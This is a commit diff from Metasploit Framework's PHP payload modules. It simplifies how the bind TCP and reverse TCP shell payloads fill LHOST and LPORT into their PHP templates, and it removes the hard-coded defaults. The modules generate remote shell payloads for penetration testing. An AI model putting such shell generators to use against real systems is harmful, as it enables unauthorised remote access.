parent
ddacf1dde8
commit
2d29184adc
|
@ -32,14 +32,8 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
def generate
|
||||
if (datastore['LPORT'] and not datastore['LPORT'].empty?)
|
||||
lport = datastore['LPORT']
|
||||
else
|
||||
lport = '4444'
|
||||
end
|
||||
|
||||
bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp.php'))
|
||||
bind.gsub!("4444", lport)
|
||||
bind.gsub!("4444", "#{datastore["LPORT"]}")
|
||||
|
||||
return super + bind
|
||||
end
|
||||
|
|
|
@ -38,17 +38,9 @@ module Metasploit3
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
if (datastore['LHOST'] and not datastore['LHOST'].empty?)
|
||||
lhost = datastore['LHOST']
|
||||
lport = datastore['LPORT']
|
||||
else
|
||||
lhost = '127.0.0.1'
|
||||
lport = '4444'
|
||||
end
|
||||
|
||||
reverse = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'reverse_tcp.php'))
|
||||
reverse.gsub!("127.0.0.1", lhost)
|
||||
reverse.gsub!("4444", lport)
|
||||
reverse.gsub!("127.0.0.1", "#{datastore["LHOST"]}")
|
||||
reverse.gsub!("4444", "#{datastore["LPORT"]}")
|
||||
#reverse.gsub!(/#.*$/, '')
|
||||
#reverse = Rex::Text.compress(reverse)
|
||||
|
||||
|
|
Loading…
Reference in New Issue